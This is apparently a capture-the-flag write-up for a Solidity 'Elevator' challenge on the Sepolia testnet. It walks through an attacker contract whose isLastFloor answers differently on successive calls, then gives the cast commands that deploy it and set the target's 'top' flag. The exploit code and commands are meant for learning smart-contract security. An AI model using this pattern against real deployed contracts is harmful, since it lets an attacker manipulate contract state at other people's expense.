This elevator won’t let you reach the top of your building. Right?

And this is the contract’s code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

First of all, generate a new instance of the challenge:

alt text

We need to make the top variable true. At the creation of the contract, that variable is set to false

cast storage 0x787a934D1ecC7C7509D7581D83A1d9621F79D4cB 0 --rpc-url $SEPOLIA_RPC_URL

alt text

The goTo() function casts the msg.sender address to a Building, so it needs to implement the isLastFloor function, with the same signature. Besides, to modify the top variable, we need to enter the if statement. For this to happen, the first call to isLastFloor needs to return false, while the inner call needs to return true. We can do this using this implementation:

contract Building {
    uint256 public counter;
    function isLastFloor(uint256) external returns (bool) {
        if (counter == 0) {
            counter++;
            return false;
        } else {
            counter++;
            return true;
        }        
    }

    function exploit(address _target) public {
        Elevator(_target).goTo(1);
    }
}

Then we deploy this contract:

alt text

And call its exploit() function using the challenge’s address:

cast send 0x5CFa8d79455AB524808D195A50EaE6621866a828 "exploit(address)" 0x787a934D1ecC7C7509D7581D83A1d9621F79D4cB --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY

We can verify that the top variable (slot 0) is now set to true:

cast storage 0x787a934D1ecC7C7509D7581D83A1d9621F79D4cB 0 --rpc-url $SEPOLIA_RPC_URL

alt text

alt text